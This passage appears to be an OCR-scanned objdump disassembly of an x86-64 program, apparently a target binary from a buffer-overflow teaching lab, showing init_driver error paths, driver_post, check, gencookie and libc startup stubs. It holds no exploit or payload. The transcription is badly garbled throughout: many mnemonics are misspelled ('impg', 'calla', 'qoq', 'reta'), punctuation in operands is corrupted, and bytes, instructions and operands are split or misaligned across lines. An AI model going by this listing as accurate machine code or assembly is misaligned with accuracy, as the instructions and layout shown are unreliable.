                               movabs $0x44203a726f727245,%rax
402956: 3a 20 44
402959: 48 ba 4e 53 20 69 73
                               movabs $0x6e7520736920534e,%rdx
402960: 20 75 6e
402963: 48 89 45 00
                                 %rax,0x0(%rbp)
                           mov
402967: 48 89 55 08
                           mov
                                 %rdx,0x8(%rbp)
                               movabs $0x206f7420656c6261,%rax
40296b: 48 b8 61 62 6c 65 20
402972: 74 6f 20
402975: 48 ba 72 65 73 6f 6c
                               movabs $0x2065766c6f736572,%rdx
40297c: 76 65 20
40297f: 48 89 45 10
                                 %rax,0x10(%rbp)
                           mov
402983: 48 89 55 18
                                 %rdx.0x18(%rbp)
                           mov
402987: 48 b8 73 65 72 76 65
                               movabs $0x6120726576726573,%rax
40298e: 72 20 61
402991: 48 89 45 20
                           mov
                                 %rax,0x20(%rbp)
402995: c7 45 28 64 64 72 65
                               movl $0x65726464,0x28(%rbp)
40299c: 66 c7 45 2c 73 73 movw $0x7373,0x2c(%rbp)
4029a2: c6 45 2e 00
                           movb $0x0,0x2e(%rbp)
4029a6: 89 df
                      mov %ebx,%edi
4029a8: e8 83 e2 ff ff
                           callq 400c30 <close@plt>
4029ad: b8 ff ff ff
                      mov $0xffffffff,%eax
4029b2: e9 45 ff ff ff
                           impg 4028fc <init driver+0xd3>
4029b7: 48 b8 45 72 72 6f 72
                               movabs $0x55203a726f727245,%rax
4029be: 3a 20 55
4029c1: 48 ba 6e 61 62 6c 65
                               movabs $0x6f7420656c62616e, %rdx
4029c8: 20 74 6f
4029cb: 48 89 45 00
                           mov
                                 %rax,0x0(%rbp)
4029cf: 48 89 55 08
                                 %rdx.0x8(%rbp)
                           mov
4029d3: 48 b8 20 63 6f 6e 6e
                               movabs $0x7463656e6e6f6320,%rax
4029da: 65 63 74
4029dd: 48 ba 20 74 6f 20 73
                               movabs $0x76726573206f7420,%rdx
4029e4: 65 72 76
4029e7: 48 89 45 10
                           mov
                                 %rax,0x10(%rbp)
4029eb: 48 89 55 18
                                 %rdx,0x18(%rbp)
                           mov
4029ef: 66 c7 45 20 65 72
                           movw $0x7265,0x20(%rbp)
4029f5: c6 45 22 00
                           movb $0x0,0x22(%rbp)
4029f9: 89 df
                      mov %ebx,%edi
4029fb: e8 30 e2 ff ff
                           callq 400c30 <close@plt>
402a00: b8 ff ff ff
                      mov $0xffffffff,%eax
402a05: e9 f2 fe ff ff
                           jmpq 4028fc <init_driver+0xd3>
0000000000402a0a <driver_post>:
402a0a: 53
                      push %rbx
402a0b: 4c 89 cb
                          mov %r9.%rbx
402a0e: 45 85 c0
                           test %r8d,%r8d
402a11: 75 18
                      jne 402a2b <driver_post+0x21>
```

```
402a13: 48 85 ff
                       test %rdi,%rdi
402a16: 74 05
                           402a1d <driver post+0x13>
402a18: 80 3f 00
                            cmpb $0x0,(%rdi)
402a1b: 75 35
                            402a52 < driver post+0x48>
402a1d: 66 c7 03 4f 4b
                            movw $0x4b4f,(%rbx)
402a22: c6 43 02 00
                            movb $0x0,0x2(%rbx)
402a26: 44 89 c0
                            mov %r8d,%eax
402a29: 5b
                             %rbx
                       pop
402a2a: c3
                       reta
402a2b: 48 89 ca
                                  %rcx.%rdx
                            mov
402a2e: be 04 32 40 00
                                  $0x403204,%esi
                            mov
402a33: bf 01 00 00 00
                                  $0x1,%edi
                           mov
402a38: b8 00 00 00 00
                            mov
                                 $0x0,%eax
402a3d: e8 ae e2 ff ff
                            callq 400cf0 <__printf_chk@plt>
402a42: 66 c7 03 4f 4b
                            movw $0x4b4f,(%rbx)
402a47: c6 43 02 00
                            movb $0x0,0x2(%rbx)
402a4b: b8 00 00 00 00
                                 $0x0,%eax
                            mov
402a50: eb d7
                                 402a29 <driver post+0x1f>
                            ami
402a52: 48 83 ec 08
                            sub
                                 $0x8,%rsp
402a56: 41 51
                       push %r9
402a58: 49 89 c9
                            mov
                                  %rcx,%r9
402a5b: 49 89 d0
                                  %rdx,%r8
                            mov
402a5e: 48 89 f9
                                  %rdi,%rcx
                            mov
402a61: 48 89 f2
                                  %rsi,%rdx
                            mov
402a64: be 9a 3c 00 00
                                  $0x3c9a,%esi
                           mov
402a69: bf ec 31 40 00
                                 $0x4031ec, %edi
                           mov
402a6e: e8 2c f6 ff ff
                            callg 40209f <submitr>
402a73: 48 83 c4 10
                                 $0x10.%rsp
                            add
402a77: eb b0
                           jmp
                                 402a29 < driver post+0x1f>
0000000000402a79 <check>:
402a79: 89 f8
                             %edi,%eax
                       mov
402a7b: c1 e8 1c
                            shr $0x1c,%eax
                       test %eax.%eax
402a7e: 85 c0
402a80: 74 1d
                           402a9f <check+0x26>
402a82: b9 00 00 00 00
                            mov $0x0,%ecx
402a87: 83 f9 1f
                       cmp $0x1f,%ecx
402a8a: 7f 0d
                           402a99 <check+0x20>
                       jg
402a8c: 89 f8
                       mov
                             %edi.%eax
                            %cl,%eax
402a8e: d3 e8
                       shr
                       cmp $0xa,%al
402a90: 3c 0a
402a92: 74 11
                           402aa5 <check+0x2c>
402a94: 83 c1 08
                            add $0x8.%ecx
402a97: eb ee
                            402a87 <check+0xe>
                       jmp
402a99: b8 01 00 00 00
                            mov
                                 $0x1,%eax
402a9e: c3
                       reta
402a9f: b8 00 00 00 00
                                  $0x0,%eax
                            mov
402aa4: c3
                       retq
402aa5: b8 00 00 00 00
                                  $0x0,%eax
                            mov
402aaa: c3
                       retq
```

0000000000402aab <gencookie>:

```
402aab: 53
                       push %rbx
402aac: 83 c7 01
                           add $0x1,%edi
402aaf: e8 fc e0 ff ff
                           calla 400bb0 <srandom@plt>
402ab4: e8 f7 e1 ff ff
                           calla 400cb0 <random@plt>
                            %eax.%ebx
402ab9: 89 c3
                      mov
402abb: 89 c7
                      mov %eax,%edi
402abd: e8 b7 ff ff ff
                           callq 402a79 <check>
402ac2: 85 c0
                      test %eax,%eax
402ac4: 74 ee
                          402ab4 < gencookie+0x9>
                      ie
402ac6: 89 d8
                       mov %ebx.%eax
402ac8: 5b
                            %rbx
                       qoq
402ac9: c3
                       reta
402aca: 66 0f 1f 44 00 00
                           nopw 0x0(\%rax,\%rax,1)
0000000000402ad0 < libc csu init>:
402ad0: 41 57
                      push %r15
402ad2: 41 56
                       push %r14
402ad4: 49 89 d7
                                 %rdx.%r15
                           mov
402ad7: 41 55
                      push %r13
                      push %r12
402ad9: 41 54
402adb: 4c 8d 25 2e 13 20 00
                                lea
                                    0x20132e(%rip),%r12
                                                             #603e10
<__frame_dummy_init_array_entry>
402ae2: 55
                       push %rbp
402ae3: 48 8d 2d 2e 13 20 00
                                lea
                                    0x20132e(%rip),%rbp
                                                             # 603e18 <__init_array_end>
402aea: 53
                      push %rbx
402aeb: 41 89 fd
                                 %edi,%r13d
                           mov
402aee: 49 89 f6
                           mov
                                 %rsi.%r14
402af1: 4c 29 e5
                                 %r12.%rbp
                           sub
402af4: 48 83 ec 08
                           sub $0x8,%rsp
402af8: 48 c1 fd 03
                           sar $0x3,%rbp
402afc: e8 6f e0 ff ff
                           callq 400b70 <_init>
402b01: 48 85 ed
                           test %rbp,%rbp
                           402b26 < libc csu init+0x56>
402b04: 74 20
                      ie
                           xor
                                %ebx.%ebx
402b06: 31 db
402b08: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
402b0f: 00
402b10: 4c 89 fa
                           mov
                                 %r15,%rdx
402b13: 4c 89 f6
                                 %r14,%rsi
                           mov
                                 %r13d,%edi
402b16: 44 89 ef
                           mov
                           callq *(%r12,%rbx,8)
402b19: 41 ff 14 dc
402b1d: 48 83 c3 01
                           add $0x1,%rbx
402b21: 48 39 dd
                           cmp %rbx,%rbp
402b24: 75 ea
                       ine 402b10 < libc csu init+0x40>
402b26: 48 83 c4 08
                           add $0x8,%rsp
402b2a: 5b
                       pop
                            %rbx
402b2b: 5d
                       pop
                           %rbp
402b2c: 41 5c
                           %r12
                       pop
402b2e: 41 5d
                       pop
                            %r13
402b30: 41 5e
                            %r14
                       pop
402b32: 41 5f
                            %r15
                       pop
402b34: c3
                       retq
402b35: 90
                       nop
```

402b36: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)

402b3d: 00 00 00

000000000402b40 <__libc_csu_fini>: 402b40: f3 c3 repz retq

Disassembly of section .fini:

0000000000402b44 <_fini>:

402b44: 48 83 ec 08 sub \$0x8,%rsp 402b48: 48 83 c4 08 add \$0x8,%rsp

402b4c: c3 retq